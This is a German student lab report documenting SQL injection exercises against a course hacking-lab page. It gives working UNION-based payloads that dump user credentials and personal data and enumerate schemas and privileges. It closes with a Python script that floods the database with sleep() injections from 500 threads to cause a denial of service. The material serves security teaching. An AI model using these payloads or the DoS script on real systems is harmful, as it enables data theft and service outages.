UE 2 - SQL Injection - Florian Czeczil (if19b001), Peter Öttl (if19b146)

Aufgabe 1: ID, firstname und lastname für alle einträge in der Tabelle

Input in die Textbox: `1 or true #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true # and protected = 0
```

Aufgabe 2: username und Password für alle User

Input in die Textbox: `1 or true union select username, password, null from users #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true union select username, password, null from users # and protected = 0
```

Aufgabe 3: svnr, protected, license, salery, hobbies für alle user

Input in die Textbox: `1 or true union select concat('username: ', username, ', svn: ', svnr), concat('license: ', license, ', salery: ', salery), concat('hobbies: ', hobbies, ', protected: ', protected) from users #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true union select concat('username: ', username, ', svn: ', svnr), concat(
```

Aufgabe 4: Datenbankversion und angemeldeter benutzer

Verdacht: Aufgrund des Vorherigen Beispiels weiß ich, dass die Datenbank keine Oracle Datenbank sein kann, da '||' als concat operator nicht funktioniert hat. Außerdem konnte ich '+' für die concatenation zwar verwenden, wenn aber Zahlen im Spiel waren stimmte das ergebnis nicht. Daraus lässt sich schließen das auf dem Server eine MySQL Datenbank läuft. In MySQL kann man die gewünschten Daten wie folgt extrahieren:

Input in die Textbox: `1 or true union select version(), user(), null #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true union select version(), user(), null # and protected = 0
```

Aufgrund dessen, das die Funktionen version() und user() funktionieren, kann ich mir jetzt sicher sein, dass eine MySQL Datenbank verwendet wird. Außerdem kann man am String 'labUser@localhost' sehen, dass der Webserver und die Datenbank am selben rechner laufen.

Aufgabe 5: Datentypen von allen parametern in der users table

Input in die Textbox: `1 or true union select data_type, null, null from information_schema.columns #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true union select data_type, null, null from information_schema.columns #
```

Aufgabe 6: Dem User zur Verfügung stehende Datenbanken

Input in die Textbox: `1 or true union select schema_name, null, null from information_schema.schemata #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true union select schema_name, null, null from information_schema.schemata
```

Aufgabe 7: Dem User zur Verfügung stehende Tables

Input in die Textbox: `1 or true union select table_name, null, null from information_schema.tables #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true union select table_name, null, null from information_schema.tables #
```

Aufgabe 8: Dem User zur Verfügung stehende Zugriffsrechte

Input in die Textbox: `1 or true union select grantee, privilege_type, concat('grantable: ', is_grantable) from information_schema.user_privileges #`

Resultierende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 or true union select grantee, privilege_type, concat('grantable: ', is_granta
```

Aufgabe 9: Kleiner DoS Angriff auf die Datenbank

Prinzipiell kann bei einer Verwundbarkeit auf SQL-Injections die Funktion `sleep()` verwendet werden. Dadurch wartet die Datenbank für eine fixe Zeit. Wird dieser Sleep zusätzlich mit `OR` an die Query gehängt, wird er für jeden bestehenden Datensatz ausgeführt.

Mit folgendem Input wartet die Datenbank 10 sekunden: `1 and sleep(10) #`

Daraus resultiert folgende Query:

```
SELECT id, firstname, lastname FROM users where id = 1 and sleep(10) # and protected = 0
```

Man kann dies aber leicht noch weiter treiben; wenn man in die URL-Leiste des Browsers schaut, sieht man nämlich genau welche URL aus diesem Befehl resultiert:

```
http://haklab-n1.cs.technikum-wien.at/sql/index.php?userid=1+and+sleep%2810%29+%23+
```

Mit einem kurzen Python skript, das 500 Threads startet die alle einen sleep() von 10 Sekunden, angehängt mit 'OR' aufrufen kommt kurze Zeit nach dem Start des Skripts auch bei Eingabe eines gültigen Parameters folgender Output auf der Hacking-Lab Seite:

```
SELECT id, firstname, lastname FROM users where id = 1 and protected = 0Unable to connect to MySQL
```

Für diesen kompletten Denial of Service genügt folgendes kurzes python skript:

```
import requests
from threading import Thread

url_to_dos="http://haklab-n1.cs.technikum-wien.at/sql/index.php?userid=1+or+sleep%2810%29+%23+"

def send_request(threadName):
    print(f"Thread: {threadName} requesting")
    r = requests.get(url_to_dos)
    print(f"Response: {r}")

for i in range (0, 500):
    thread = Thread(target=send_request, args=(f"Thread-{i}", ))
    thread.start()
```

Dadurch, das diese 500 Threads alle irgendwann eine Response bekommen, erholt sich die Datenbank sobald das Skript fertig ist. Würde man die for-Schleife allerdings gegen einen `while(true)` loop tauschen, könnte man die Datenbank so lange beschäftigen, wie man das Skript laufen hat.